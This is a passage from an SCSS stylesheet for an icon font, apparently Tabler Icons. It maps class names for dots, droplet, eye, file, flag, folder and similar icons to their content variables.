$ti-icon-dots-circle-horizontal;\n}\n\n.#{$ti-prefix}-dots-diagonal:before {\n  content: $ti-icon-dots-diagonal;\n}\n\n.#{$ti-prefix}-dots-diagonal-2:before {\n  content: $ti-icon-dots-diagonal-2;\n}\n\n.#{$ti-prefix}-dots-vertical:before {\n  content: $ti-icon-dots-vertical;\n}\n\n.#{$ti-prefix}-download:before {\n  content: $ti-icon-download;\n}\n\n.#{$ti-prefix}-download-off:before {\n  content: $ti-icon-download-off;\n}\n\n.#{$ti-prefix}-drag-drop:before {\n  content: $ti-icon-drag-drop;\n}\n\n.#{$ti-prefix}-drag-drop-2:before {\n  content: $ti-icon-drag-drop-2;\n}\n\n.#{$ti-prefix}-drone:before {\n  content: $ti-icon-drone;\n}\n\n.#{$ti-prefix}-drone-off:before {\n  content: $ti-icon-drone-off;\n}\n\n.#{$ti-prefix}-drop-circle:before {\n  content: $ti-icon-drop-circle;\n}\n\n.#{$ti-prefix}-droplet:before {\n  content: $ti-icon-droplet;\n}\n\n.#{$ti-prefix}-droplet-bolt:before {\n  content: $ti-icon-droplet-bolt;\n}\n\n.#{$ti-prefix}-droplet-cancel:before {\n  content: $ti-icon-droplet-cancel;\n}\n\n.#{$ti-prefix}-droplet-check:before {\n  content: $ti-icon-droplet-check;\n}\n\n.#{$ti-prefix}-droplet-code:before {\n  content: $ti-icon-droplet-code;\n}\n\n.#{$ti-prefix}-droplet-cog:before {\n  content: $ti-icon-droplet-cog;\n}\n\n.#{$ti-prefix}-droplet-dollar:before {\n  content: $ti-icon-droplet-dollar;\n}\n\n.#{$ti-prefix}-droplet-down:before {\n  content: $ti-icon-droplet-down;\n}\n\n.#{$ti-prefix}-droplet-exclamation:before {\n  content: $ti-icon-droplet-exclamation;\n}\n\n.#{$ti-prefix}-droplet-filled:before {\n  content: $ti-icon-droplet-filled;\n}\n\n.#{$ti-prefix}-droplet-half:before {\n  content: $ti-icon-droplet-half;\n}\n\n.#{$ti-prefix}-droplet-half-2:before {\n  content: $ti-icon-droplet-half-2;\n}\n\n.#{$ti-prefix}-droplet-half-2-filled:before {\n  content: $ti-icon-droplet-half-2-filled;\n}\n\n.#{$ti-prefix}-droplet-half-filled:before {\n  content: $ti-icon-droplet-half-filled;\n}\n\n.#{$ti-prefix}-droplet-heart:before {\n  content: $ti-icon-droplet-heart;\n}\n\n.#{$ti-prefix}-droplet-minus:before {\n  content: $ti-icon-droplet-minus;\n}\n\n.#{$ti-prefix}-droplet-off:before {\n  content: $ti-icon-droplet-off;\n}\n\n.#{$ti-prefix}-droplet-pause:before {\n  content: $ti-icon-droplet-pause;\n}\n\n.#{$ti-prefix}-droplet-pin:before {\n  content: $ti-icon-droplet-pin;\n}\n\n.#{$ti-prefix}-droplet-plus:before {\n  content: $ti-icon-droplet-plus;\n}\n\n.#{$ti-prefix}-droplet-question:before {\n  content: $ti-icon-droplet-question;\n}\n\n.#{$ti-prefix}-droplet-search:before {\n  content: $ti-icon-droplet-search;\n}\n\n.#{$ti-prefix}-droplet-share:before {\n  content: $ti-icon-droplet-share;\n}\n\n.#{$ti-prefix}-droplet-star:before {\n  content: $ti-icon-droplet-star;\n}\n\n.#{$ti-prefix}-droplet-up:before {\n  content: $ti-icon-droplet-up;\n}\n\n.#{$ti-prefix}-droplet-x:before {\n  content: $ti-icon-droplet-x;\n}\n\n.#{$ti-prefix}-droplets:before {\n  content: $ti-icon-droplets;\n}\n\n.#{$ti-prefix}-dual-screen:before {\n  content: $ti-icon-dual-screen;\n}\n\n.#{$ti-prefix}-e-passport:before {\n  content: $ti-icon-e-passport;\n}\n\n.#{$ti-prefix}-ear:before {\n  content: $ti-icon-ear;\n}\n\n.#{$ti-prefix}-ear-off:before {\n  content: $ti-icon-ear-off;\n}\n\n.#{$ti-prefix}-ear-scan:before {\n  content: $ti-icon-ear-scan;\n}\n\n.#{$ti-prefix}-ease-in:before {\n  content: $ti-icon-ease-in;\n}\n\n.#{$ti-prefix}-ease-in-control-point:before {\n  content: $ti-icon-ease-in-control-point;\n}\n\n.#{$ti-prefix}-ease-in-out:before {\n  content: $ti-icon-ease-in-out;\n}\n\n.#{$ti-prefix}-ease-in-out-control-points:before {\n  content: $ti-icon-ease-in-out-control-points;\n}\n\n.#{$ti-prefix}-ease-out:before {\n  content: $ti-icon-ease-out;\n}\n\n.#{$ti-prefix}-ease-out-control-point:before {\n  content: $ti-icon-ease-out-control-point;\n}\n\n.#{$ti-prefix}-edit:before {\n  content: $ti-icon-edit;\n}\n\n.#{$ti-prefix}-edit-circle:before {\n  content: $ti-icon-edit-circle;\n}\n\n.#{$ti-prefix}-edit-circle-off:before {\n  content: $ti-icon-edit-circle-off;\n}\n\n.#{$ti-prefix}-edit-off:before {\n  content: $ti-icon-edit-off;\n}\n\n.#{$ti-prefix}-egg:before {\n  content: $ti-icon-egg;\n}\n\n.#{$ti-prefix}-egg-cracked:before {\n  content: $ti-icon-egg-cracked;\n}\n\n.#{$ti-prefix}-egg-filled:before {\n  content: $ti-icon-egg-filled;\n}\n\n.#{$ti-prefix}-egg-fried:before {\n  content: $ti-icon-egg-fried;\n}\n\n.#{$ti-prefix}-egg-off:before {\n  content: $ti-icon-egg-off;\n}\n\n.#{$ti-prefix}-eggs:before {\n  content: $ti-icon-eggs;\n}\n\n.#{$ti-prefix}-elevator:before {\n  content: $ti-icon-elevator;\n}\n\n.#{$ti-prefix}-elevator-off:before {\n  content: $ti-icon-elevator-off;\n}\n\n.#{$ti-prefix}-emergency-bed:before {\n  content: $ti-icon-emergency-bed;\n}\n\n.#{$ti-prefix}-empathize:before {\n  content: $ti-icon-empathize;\n}\n\n.#{$ti-prefix}-empathize-off:before {\n  content: $ti-icon-empathize-off;\n}\n\n.#{$ti-prefix}-emphasis:before {\n  content: $ti-icon-emphasis;\n}\n\n.#{$ti-prefix}-engine:before {\n  content: $ti-icon-engine;\n}\n\n.#{$ti-prefix}-engine-off:before {\n  content: $ti-icon-engine-off;\n}\n\n.#{$ti-prefix}-equal:before {\n  content: $ti-icon-equal;\n}\n\n.#{$ti-prefix}-equal-double:before {\n  content: $ti-icon-equal-double;\n}\n\n.#{$ti-prefix}-equal-not:before {\n  content: $ti-icon-equal-not;\n}\n\n.#{$ti-prefix}-eraser:before {\n  content: $ti-icon-eraser;\n}\n\n.#{$ti-prefix}-eraser-off:before {\n  content: $ti-icon-eraser-off;\n}\n\n.#{$ti-prefix}-error-404:before {\n  content: $ti-icon-error-404;\n}\n\n.#{$ti-prefix}-error-404-off:before {\n  content: $ti-icon-error-404-off;\n}\n\n.#{$ti-prefix}-escalator:before {\n  content: $ti-icon-escalator;\n}\n\n.#{$ti-prefix}-escalator-down:before {\n  content: $ti-icon-escalator-down;\n}\n\n.#{$ti-prefix}-escalator-up:before {\n  content: $ti-icon-escalator-up;\n}\n\n.#{$ti-prefix}-exchange:before {\n  content: $ti-icon-exchange;\n}\n\n.#{$ti-prefix}-exchange-off:before {\n  content: $ti-icon-exchange-off;\n}\n\n.#{$ti-prefix}-exclamation-circle:before {\n  content: $ti-icon-exclamation-circle;\n}\n\n.#{$ti-prefix}-exclamation-mark:before {\n  content: $ti-icon-exclamation-mark;\n}\n\n.#{$ti-prefix}-exclamation-mark-off:before {\n  content: $ti-icon-exclamation-mark-off;\n}\n\n.#{$ti-prefix}-explicit:before {\n  content: $ti-icon-explicit;\n}\n\n.#{$ti-prefix}-explicit-off:before {\n  content: $ti-icon-explicit-off;\n}\n\n.#{$ti-prefix}-exposure:before {\n  content: $ti-icon-exposure;\n}\n\n.#{$ti-prefix}-exposure-0:before {\n  content: $ti-icon-exposure-0;\n}\n\n.#{$ti-prefix}-exposure-minus-1:before {\n  content: $ti-icon-exposure-minus-1;\n}\n\n.#{$ti-prefix}-exposure-minus-2:before {\n  content: $ti-icon-exposure-minus-2;\n}\n\n.#{$ti-prefix}-exposure-off:before {\n  content: $ti-icon-exposure-off;\n}\n\n.#{$ti-prefix}-exposure-plus-1:before {\n  content: $ti-icon-exposure-plus-1;\n}\n\n.#{$ti-prefix}-exposure-plus-2:before {\n  content: $ti-icon-exposure-plus-2;\n}\n\n.#{$ti-prefix}-external-link:before {\n  content: $ti-icon-external-link;\n}\n\n.#{$ti-prefix}-external-link-off:before {\n  content: $ti-icon-external-link-off;\n}\n\n.#{$ti-prefix}-eye:before {\n  content: $ti-icon-eye;\n}\n\n.#{$ti-prefix}-eye-bolt:before {\n  content: $ti-icon-eye-bolt;\n}\n\n.#{$ti-prefix}-eye-cancel:before {\n  content: $ti-icon-eye-cancel;\n}\n\n.#{$ti-prefix}-eye-check:before {\n  content: $ti-icon-eye-check;\n}\n\n.#{$ti-prefix}-eye-closed:before {\n  content: $ti-icon-eye-closed;\n}\n\n.#{$ti-prefix}-eye-code:before {\n  content: $ti-icon-eye-code;\n}\n\n.#{$ti-prefix}-eye-cog:before {\n  content: $ti-icon-eye-cog;\n}\n\n.#{$ti-prefix}-eye-discount:before {\n  content: $ti-icon-eye-discount;\n}\n\n.#{$ti-prefix}-eye-dollar:before {\n  content: $ti-icon-eye-dollar;\n}\n\n.#{$ti-prefix}-eye-down:before {\n  content: $ti-icon-eye-down;\n}\n\n.#{$ti-prefix}-eye-edit:before {\n  content: $ti-icon-eye-edit;\n}\n\n.#{$ti-prefix}-eye-exclamation:before {\n  content: $ti-icon-eye-exclamation;\n}\n\n.#{$ti-prefix}-eye-filled:before {\n  content: $ti-icon-eye-filled;\n}\n\n.#{$ti-prefix}-eye-heart:before {\n  content: $ti-icon-eye-heart;\n}\n\n.#{$ti-prefix}-eye-minus:before {\n  content: $ti-icon-eye-minus;\n}\n\n.#{$ti-prefix}-eye-off:before {\n  content: $ti-icon-eye-off;\n}\n\n.#{$ti-prefix}-eye-pause:before {\n  content: $ti-icon-eye-pause;\n}\n\n.#{$ti-prefix}-eye-pin:before {\n  content: $ti-icon-eye-pin;\n}\n\n.#{$ti-prefix}-eye-plus:before {\n  content: $ti-icon-eye-plus;\n}\n\n.#{$ti-prefix}-eye-question:before {\n  content: $ti-icon-eye-question;\n}\n\n.#{$ti-prefix}-eye-search:before {\n  content: $ti-icon-eye-search;\n}\n\n.#{$ti-prefix}-eye-share:before {\n  content: $ti-icon-eye-share;\n}\n\n.#{$ti-prefix}-eye-star:before {\n  content: $ti-icon-eye-star;\n}\n\n.#{$ti-prefix}-eye-table:before {\n  content: $ti-icon-eye-table;\n}\n\n.#{$ti-prefix}-eye-up:before {\n  content: $ti-icon-eye-up;\n}\n\n.#{$ti-prefix}-eye-x:before {\n  content: $ti-icon-eye-x;\n}\n\n.#{$ti-prefix}-eyeglass:before {\n  content: $ti-icon-eyeglass;\n}\n\n.#{$ti-prefix}-eyeglass-2:before {\n  content: $ti-icon-eyeglass-2;\n}\n\n.#{$ti-prefix}-eyeglass-off:before {\n  content: $ti-icon-eyeglass-off;\n}\n\n.#{$ti-prefix}-face-id:before {\n  content: $ti-icon-face-id;\n}\n\n.#{$ti-prefix}-face-id-error:before {\n  content: $ti-icon-face-id-error;\n}\n\n.#{$ti-prefix}-face-mask:before {\n  content: $ti-icon-face-mask;\n}\n\n.#{$ti-prefix}-face-mask-off:before {\n  content: $ti-icon-face-mask-off;\n}\n\n.#{$ti-prefix}-fall:before {\n  content: $ti-icon-fall;\n}\n\n.#{$ti-prefix}-favicon:before {\n  content: $ti-icon-favicon;\n}\n\n.#{$ti-prefix}-feather:before {\n  content: $ti-icon-feather;\n}\n\n.#{$ti-prefix}-feather-off:before {\n  content: $ti-icon-feather-off;\n}\n\n.#{$ti-prefix}-fence:before {\n  content: $ti-icon-fence;\n}\n\n.#{$ti-prefix}-fence-off:before {\n  content: $ti-icon-fence-off;\n}\n\n.#{$ti-prefix}-fidget-spinner:before {\n  content: $ti-icon-fidget-spinner;\n}\n\n.#{$ti-prefix}-file:before {\n  content: $ti-icon-file;\n}\n\n.#{$ti-prefix}-file-3d:before {\n  content: $ti-icon-file-3d;\n}\n\n.#{$ti-prefix}-file-alert:before {\n  content: $ti-icon-file-alert;\n}\n\n.#{$ti-prefix}-file-analytics:before {\n  content: $ti-icon-file-analytics;\n}\n\n.#{$ti-prefix}-file-arrow-left:before {\n  content: $ti-icon-file-arrow-left;\n}\n\n.#{$ti-prefix}-file-arrow-right:before {\n  content: $ti-icon-file-arrow-right;\n}\n\n.#{$ti-prefix}-file-barcode:before {\n  content: $ti-icon-file-barcode;\n}\n\n.#{$ti-prefix}-file-broken:before {\n  content: $ti-icon-file-broken;\n}\n\n.#{$ti-prefix}-file-certificate:before {\n  content: $ti-icon-file-certificate;\n}\n\n.#{$ti-prefix}-file-chart:before {\n  content: $ti-icon-file-chart;\n}\n\n.#{$ti-prefix}-file-check:before {\n  content: $ti-icon-file-check;\n}\n\n.#{$ti-prefix}-file-code:before {\n  content: $ti-icon-file-code;\n}\n\n.#{$ti-prefix}-file-code-2:before {\n  content: $ti-icon-file-code-2;\n}\n\n.#{$ti-prefix}-file-cv:before {\n  content: $ti-icon-file-cv;\n}\n\n.#{$ti-prefix}-file-database:before {\n  content: $ti-icon-file-database;\n}\n\n.#{$ti-prefix}-file-delta:before {\n  content: $ti-icon-file-delta;\n}\n\n.#{$ti-prefix}-file-description:before {\n  content: $ti-icon-file-description;\n}\n\n.#{$ti-prefix}-file-diff:before {\n  content: $ti-icon-file-diff;\n}\n\n.#{$ti-prefix}-file-digit:before {\n  content: $ti-icon-file-digit;\n}\n\n.#{$ti-prefix}-file-dislike:before {\n  content: $ti-icon-file-dislike;\n}\n\n.#{$ti-prefix}-file-dollar:before {\n  content: $ti-icon-file-dollar;\n}\n\n.#{$ti-prefix}-file-dots:before {\n  content: $ti-icon-file-dots;\n}\n\n.#{$ti-prefix}-file-download:before {\n  content: $ti-icon-file-download;\n}\n\n.#{$ti-prefix}-file-euro:before {\n  content: $ti-icon-file-euro;\n}\n\n.#{$ti-prefix}-file-export:before {\n  content: $ti-icon-file-export;\n}\n\n.#{$ti-prefix}-file-filled:before {\n  content: $ti-icon-file-filled;\n}\n\n.#{$ti-prefix}-file-function:before {\n  content: $ti-icon-file-function;\n}\n\n.#{$ti-prefix}-file-horizontal:before {\n  content: $ti-icon-file-horizontal;\n}\n\n.#{$ti-prefix}-file-import:before {\n  content: $ti-icon-file-import;\n}\n\n.#{$ti-prefix}-file-infinity:before {\n  content: $ti-icon-file-infinity;\n}\n\n.#{$ti-prefix}-file-info:before {\n  content: $ti-icon-file-info;\n}\n\n.#{$ti-prefix}-file-invoice:before {\n  content: $ti-icon-file-invoice;\n}\n\n.#{$ti-prefix}-file-lambda:before {\n  content: $ti-icon-file-lambda;\n}\n\n.#{$ti-prefix}-file-like:before {\n  content: $ti-icon-file-like;\n}\n\n.#{$ti-prefix}-file-minus:before {\n  content: $ti-icon-file-minus;\n}\n\n.#{$ti-prefix}-file-music:before {\n  content: $ti-icon-file-music;\n}\n\n.#{$ti-prefix}-file-neutral:before {\n  content: $ti-icon-file-neutral;\n}\n\n.#{$ti-prefix}-file-off:before {\n  content: $ti-icon-file-off;\n}\n\n.#{$ti-prefix}-file-orientation:before {\n  content: $ti-icon-file-orientation;\n}\n\n.#{$ti-prefix}-file-pencil:before {\n  content: $ti-icon-file-pencil;\n}\n\n.#{$ti-prefix}-file-percent:before {\n  content: $ti-icon-file-percent;\n}\n\n.#{$ti-prefix}-file-phone:before {\n  content: $ti-icon-file-phone;\n}\n\n.#{$ti-prefix}-file-plus:before {\n  content: $ti-icon-file-plus;\n}\n\n.#{$ti-prefix}-file-power:before {\n  content: $ti-icon-file-power;\n}\n\n.#{$ti-prefix}-file-report:before {\n  content: $ti-icon-file-report;\n}\n\n.#{$ti-prefix}-file-rss:before {\n  content: $ti-icon-file-rss;\n}\n\n.#{$ti-prefix}-file-sad:before {\n  content: $ti-icon-file-sad;\n}\n\n.#{$ti-prefix}-file-scissors:before {\n  content: $ti-icon-file-scissors;\n}\n\n.#{$ti-prefix}-file-search:before {\n  content: $ti-icon-file-search;\n}\n\n.#{$ti-prefix}-file-settings:before {\n  content: $ti-icon-file-settings;\n}\n\n.#{$ti-prefix}-file-shredder:before {\n  content: $ti-icon-file-shredder;\n}\n\n.#{$ti-prefix}-file-signal:before {\n  content: $ti-icon-file-signal;\n}\n\n.#{$ti-prefix}-file-smile:before {\n  content: $ti-icon-file-smile;\n}\n\n.#{$ti-prefix}-file-spreadsheet:before {\n  content: $ti-icon-file-spreadsheet;\n}\n\n.#{$ti-prefix}-file-stack:before {\n  content: $ti-icon-file-stack;\n}\n\n.#{$ti-prefix}-file-star:before {\n  content: $ti-icon-file-star;\n}\n\n.#{$ti-prefix}-file-symlink:before {\n  content: $ti-icon-file-symlink;\n}\n\n.#{$ti-prefix}-file-text:before {\n  content: $ti-icon-file-text;\n}\n\n.#{$ti-prefix}-file-text-ai:before {\n  content: $ti-icon-file-text-ai;\n}\n\n.#{$ti-prefix}-file-time:before {\n  content: $ti-icon-file-time;\n}\n\n.#{$ti-prefix}-file-type-bmp:before {\n  content: $ti-icon-file-type-bmp;\n}\n\n.#{$ti-prefix}-file-type-css:before {\n  content: $ti-icon-file-type-css;\n}\n\n.#{$ti-prefix}-file-type-csv:before {\n  content: $ti-icon-file-type-csv;\n}\n\n.#{$ti-prefix}-file-type-doc:before {\n  content: $ti-icon-file-type-doc;\n}\n\n.#{$ti-prefix}-file-type-docx:before {\n  content: $ti-icon-file-type-docx;\n}\n\n.#{$ti-prefix}-file-type-html:before {\n  content: $ti-icon-file-type-html;\n}\n\n.#{$ti-prefix}-file-type-jpg:before {\n  content: $ti-icon-file-type-jpg;\n}\n\n.#{$ti-prefix}-file-type-js:before {\n  content: $ti-icon-file-type-js;\n}\n\n.#{$ti-prefix}-file-type-jsx:before {\n  content: $ti-icon-file-type-jsx;\n}\n\n.#{$ti-prefix}-file-type-pdf:before {\n  content: $ti-icon-file-type-pdf;\n}\n\n.#{$ti-prefix}-file-type-php:before {\n  content: $ti-icon-file-type-php;\n}\n\n.#{$ti-prefix}-file-type-png:before {\n  content: $ti-icon-file-type-png;\n}\n\n.#{$ti-prefix}-file-type-ppt:before {\n  content: $ti-icon-file-type-ppt;\n}\n\n.#{$ti-prefix}-file-type-rs:before {\n  content: $ti-icon-file-type-rs;\n}\n\n.#{$ti-prefix}-file-type-sql:before {\n  content: $ti-icon-file-type-sql;\n}\n\n.#{$ti-prefix}-file-type-svg:before {\n  content: $ti-icon-file-type-svg;\n}\n\n.#{$ti-prefix}-file-type-ts:before {\n  content: $ti-icon-file-type-ts;\n}\n\n.#{$ti-prefix}-file-type-tsx:before {\n  content: $ti-icon-file-type-tsx;\n}\n\n.#{$ti-prefix}-file-type-txt:before {\n  content: $ti-icon-file-type-txt;\n}\n\n.#{$ti-prefix}-file-type-vue:before {\n  content: $ti-icon-file-type-vue;\n}\n\n.#{$ti-prefix}-file-type-xls:before {\n  content: $ti-icon-file-type-xls;\n}\n\n.#{$ti-prefix}-file-type-xml:before {\n  content: $ti-icon-file-type-xml;\n}\n\n.#{$ti-prefix}-file-type-zip:before {\n  content: $ti-icon-file-type-zip;\n}\n\n.#{$ti-prefix}-file-typography:before {\n  content: $ti-icon-file-typography;\n}\n\n.#{$ti-prefix}-file-unknown:before {\n  content: $ti-icon-file-unknown;\n}\n\n.#{$ti-prefix}-file-upload:before {\n  content: $ti-icon-file-upload;\n}\n\n.#{$ti-prefix}-file-vector:before {\n  content: $ti-icon-file-vector;\n}\n\n.#{$ti-prefix}-file-x:before {\n  content: $ti-icon-file-x;\n}\n\n.#{$ti-prefix}-file-x-filled:before {\n  content: $ti-icon-file-x-filled;\n}\n\n.#{$ti-prefix}-file-zip:before {\n  content: $ti-icon-file-zip;\n}\n\n.#{$ti-prefix}-files:before {\n  content: $ti-icon-files;\n}\n\n.#{$ti-prefix}-files-off:before {\n  content: $ti-icon-files-off;\n}\n\n.#{$ti-prefix}-filter:before {\n  content: $ti-icon-filter;\n}\n\n.#{$ti-prefix}-filter-bolt:before {\n  content: $ti-icon-filter-bolt;\n}\n\n.#{$ti-prefix}-filter-cancel:before {\n  content: $ti-icon-filter-cancel;\n}\n\n.#{$ti-prefix}-filter-check:before {\n  content: $ti-icon-filter-check;\n}\n\n.#{$ti-prefix}-filter-code:before {\n  content: $ti-icon-filter-code;\n}\n\n.#{$ti-prefix}-filter-cog:before {\n  content: $ti-icon-filter-cog;\n}\n\n.#{$ti-prefix}-filter-discount:before {\n  content: $ti-icon-filter-discount;\n}\n\n.#{$ti-prefix}-filter-dollar:before {\n  content: $ti-icon-filter-dollar;\n}\n\n.#{$ti-prefix}-filter-down:before {\n  content: $ti-icon-filter-down;\n}\n\n.#{$ti-prefix}-filter-edit:before {\n  content: $ti-icon-filter-edit;\n}\n\n.#{$ti-prefix}-filter-exclamation:before {\n  content: $ti-icon-filter-exclamation;\n}\n\n.#{$ti-prefix}-filter-filled:before {\n  content: $ti-icon-filter-filled;\n}\n\n.#{$ti-prefix}-filter-heart:before {\n  content: $ti-icon-filter-heart;\n}\n\n.#{$ti-prefix}-filter-minus:before {\n  content: $ti-icon-filter-minus;\n}\n\n.#{$ti-prefix}-filter-off:before {\n  content: $ti-icon-filter-off;\n}\n\n.#{$ti-prefix}-filter-pause:before {\n  content: $ti-icon-filter-pause;\n}\n\n.#{$ti-prefix}-filter-pin:before {\n  content: $ti-icon-filter-pin;\n}\n\n.#{$ti-prefix}-filter-plus:before {\n  content: $ti-icon-filter-plus;\n}\n\n.#{$ti-prefix}-filter-question:before {\n  content: $ti-icon-filter-question;\n}\n\n.#{$ti-prefix}-filter-search:before {\n  content: $ti-icon-filter-search;\n}\n\n.#{$ti-prefix}-filter-share:before {\n  content: $ti-icon-filter-share;\n}\n\n.#{$ti-prefix}-filter-star:before {\n  content: $ti-icon-filter-star;\n}\n\n.#{$ti-prefix}-filter-up:before {\n  content: $ti-icon-filter-up;\n}\n\n.#{$ti-prefix}-filter-x:before {\n  content: $ti-icon-filter-x;\n}\n\n.#{$ti-prefix}-filters:before {\n  content: $ti-icon-filters;\n}\n\n.#{$ti-prefix}-fingerprint:before {\n  content: $ti-icon-fingerprint;\n}\n\n.#{$ti-prefix}-fingerprint-off:before {\n  content: $ti-icon-fingerprint-off;\n}\n\n.#{$ti-prefix}-fingerprint-scan:before {\n  content: $ti-icon-fingerprint-scan;\n}\n\n.#{$ti-prefix}-fire-extinguisher:before {\n  content: $ti-icon-fire-extinguisher;\n}\n\n.#{$ti-prefix}-fire-hydrant:before {\n  content: $ti-icon-fire-hydrant;\n}\n\n.#{$ti-prefix}-fire-hydrant-off:before {\n  content: $ti-icon-fire-hydrant-off;\n}\n\n.#{$ti-prefix}-firetruck:before {\n  content: $ti-icon-firetruck;\n}\n\n.#{$ti-prefix}-first-aid-kit:before {\n  content: $ti-icon-first-aid-kit;\n}\n\n.#{$ti-prefix}-first-aid-kit-off:before {\n  content: $ti-icon-first-aid-kit-off;\n}\n\n.#{$ti-prefix}-fish:before {\n  content: $ti-icon-fish;\n}\n\n.#{$ti-prefix}-fish-bone:before {\n  content: $ti-icon-fish-bone;\n}\n\n.#{$ti-prefix}-fish-christianity:before {\n  content: $ti-icon-fish-christianity;\n}\n\n.#{$ti-prefix}-fish-hook:before {\n  content: $ti-icon-fish-hook;\n}\n\n.#{$ti-prefix}-fish-hook-off:before {\n  content: $ti-icon-fish-hook-off;\n}\n\n.#{$ti-prefix}-fish-off:before {\n  content: $ti-icon-fish-off;\n}\n\n.#{$ti-prefix}-flag:before {\n  content: $ti-icon-flag;\n}\n\n.#{$ti-prefix}-flag-2:before {\n  content: $ti-icon-flag-2;\n}\n\n.#{$ti-prefix}-flag-2-filled:before {\n  content: $ti-icon-flag-2-filled;\n}\n\n.#{$ti-prefix}-flag-2-off:before {\n  content: $ti-icon-flag-2-off;\n}\n\n.#{$ti-prefix}-flag-3:before {\n  content: $ti-icon-flag-3;\n}\n\n.#{$ti-prefix}-flag-3-filled:before {\n  content: $ti-icon-flag-3-filled;\n}\n\n.#{$ti-prefix}-flag-bolt:before {\n  content: $ti-icon-flag-bolt;\n}\n\n.#{$ti-prefix}-flag-cancel:before {\n  content: $ti-icon-flag-cancel;\n}\n\n.#{$ti-prefix}-flag-check:before {\n  content: $ti-icon-flag-check;\n}\n\n.#{$ti-prefix}-flag-code:before {\n  content: $ti-icon-flag-code;\n}\n\n.#{$ti-prefix}-flag-cog:before {\n  content: $ti-icon-flag-cog;\n}\n\n.#{$ti-prefix}-flag-discount:before {\n  content: $ti-icon-flag-discount;\n}\n\n.#{$ti-prefix}-flag-dollar:before {\n  content: $ti-icon-flag-dollar;\n}\n\n.#{$ti-prefix}-flag-down:before {\n  content: $ti-icon-flag-down;\n}\n\n.#{$ti-prefix}-flag-exclamation:before {\n  content: $ti-icon-flag-exclamation;\n}\n\n.#{$ti-prefix}-flag-filled:before {\n  content: $ti-icon-flag-filled;\n}\n\n.#{$ti-prefix}-flag-heart:before {\n  content: $ti-icon-flag-heart;\n}\n\n.#{$ti-prefix}-flag-minus:before {\n  content: $ti-icon-flag-minus;\n}\n\n.#{$ti-prefix}-flag-off:before {\n  content: $ti-icon-flag-off;\n}\n\n.#{$ti-prefix}-flag-pause:before {\n  content: $ti-icon-flag-pause;\n}\n\n.#{$ti-prefix}-flag-pin:before {\n  content: $ti-icon-flag-pin;\n}\n\n.#{$ti-prefix}-flag-plus:before {\n  content: $ti-icon-flag-plus;\n}\n\n.#{$ti-prefix}-flag-question:before {\n  content: $ti-icon-flag-question;\n}\n\n.#{$ti-prefix}-flag-search:before {\n  content: $ti-icon-flag-search;\n}\n\n.#{$ti-prefix}-flag-share:before {\n  content: $ti-icon-flag-share;\n}\n\n.#{$ti-prefix}-flag-star:before {\n  content: $ti-icon-flag-star;\n}\n\n.#{$ti-prefix}-flag-up:before {\n  content: $ti-icon-flag-up;\n}\n\n.#{$ti-prefix}-flag-x:before {\n  content: $ti-icon-flag-x;\n}\n\n.#{$ti-prefix}-flame:before {\n  content: $ti-icon-flame;\n}\n\n.#{$ti-prefix}-flame-off:before {\n  content: $ti-icon-flame-off;\n}\n\n.#{$ti-prefix}-flare:before {\n  content: $ti-icon-flare;\n}\n\n.#{$ti-prefix}-flask:before {\n  content: $ti-icon-flask;\n}\n\n.#{$ti-prefix}-flask-2:before {\n  content: $ti-icon-flask-2;\n}\n\n.#{$ti-prefix}-flask-2-filled:before {\n  content: $ti-icon-flask-2-filled;\n}\n\n.#{$ti-prefix}-flask-2-off:before {\n  content: $ti-icon-flask-2-off;\n}\n\n.#{$ti-prefix}-flask-filled:before {\n  content: $ti-icon-flask-filled;\n}\n\n.#{$ti-prefix}-flask-off:before {\n  content: $ti-icon-flask-off;\n}\n\n.#{$ti-prefix}-flip-flops:before {\n  content: $ti-icon-flip-flops;\n}\n\n.#{$ti-prefix}-flip-horizontal:before {\n  content: $ti-icon-flip-horizontal;\n}\n\n.#{$ti-prefix}-flip-vertical:before {\n  content: $ti-icon-flip-vertical;\n}\n\n.#{$ti-prefix}-float-center:before {\n  content: $ti-icon-float-center;\n}\n\n.#{$ti-prefix}-float-left:before {\n  content: $ti-icon-float-left;\n}\n\n.#{$ti-prefix}-float-none:before {\n  content: $ti-icon-float-none;\n}\n\n.#{$ti-prefix}-float-right:before {\n  content: $ti-icon-float-right;\n}\n\n.#{$ti-prefix}-flower:before {\n  content: $ti-icon-flower;\n}\n\n.#{$ti-prefix}-flower-off:before {\n  content: $ti-icon-flower-off;\n}\n\n.#{$ti-prefix}-focus:before {\n  content: $ti-icon-focus;\n}\n\n.#{$ti-prefix}-focus-2:before {\n  content: $ti-icon-focus-2;\n}\n\n.#{$ti-prefix}-focus-auto:before {\n  content: $ti-icon-focus-auto;\n}\n\n.#{$ti-prefix}-focus-centered:before {\n  content: $ti-icon-focus-centered;\n}\n\n.#{$ti-prefix}-fold:before {\n  content: $ti-icon-fold;\n}\n\n.#{$ti-prefix}-fold-down:before {\n  content: $ti-icon-fold-down;\n}\n\n.#{$ti-prefix}-fold-up:before {\n  content: $ti-icon-fold-up;\n}\n\n.#{$ti-prefix}-folder:before {\n  content: $ti-icon-folder;\n}\n\n.#{$ti-prefix}-folder-bolt:before {\n  content: $ti-icon-folder-bolt;\n}\n\n.#{$ti-prefix}-folder-cancel:before {\n  content: $ti-icon-folder-cancel;\n}\n\n.#{$ti-prefix}-folder-check:before {\n  content: $ti-icon-folder-check;\n}\n\n.#{$ti-prefix}-folder-code:before {\n  content: $ti-icon-folder-code;\n}\n\n.#{$ti-prefix}-folder-cog:before {\n  content: $ti-icon-folder-cog;\n}\n\n.#{$ti-prefix}-folder-dollar:before {\n  content: $ti-icon-folder-dollar;\n}\n\n.#{$ti-prefix}-folder-down:before {\n  content: $ti-icon-folder-down;\n}\n\n.#{$ti-prefix}-folder-exclamation:before {\n  content: $ti-icon-folder-exclamation;\n}\n\n.#{$ti-prefix}-folder-filled:before {\n  content: $ti-icon-folder-filled;\n}\n\n.#{$ti-prefix}-folder-heart:before {\n  content: $ti-icon-folder-heart;\n}\n\n.#{$ti-prefix}-folder-minus:before {\n  content: $ti-icon-folder-minus;\n}\n\n.#{$ti-prefix}-folder-off:before {\n  content: $ti-icon-folder-off;\n}\n\n.#{$ti-prefix}-folder-open:before {\n  content: $ti-icon-folder-open;\n}\n\n.#{$ti-prefix}-folder-pause:before {\n  content: $ti-icon-folder-pause;\n}\n\n.#{$ti-prefix}-folder-pin:before {\n  content: $ti-icon-folder-pin;\n}\n\n.#{$ti-prefix}-folder-plus:before {\n  content: $ti-icon-folder-plus;\n}\n\n.#{$ti-prefix}-folder-question:before {\n  content: $ti-icon-folder-question;\n}\n\n.#{$ti-prefix}-folder-root:before {\n  content: 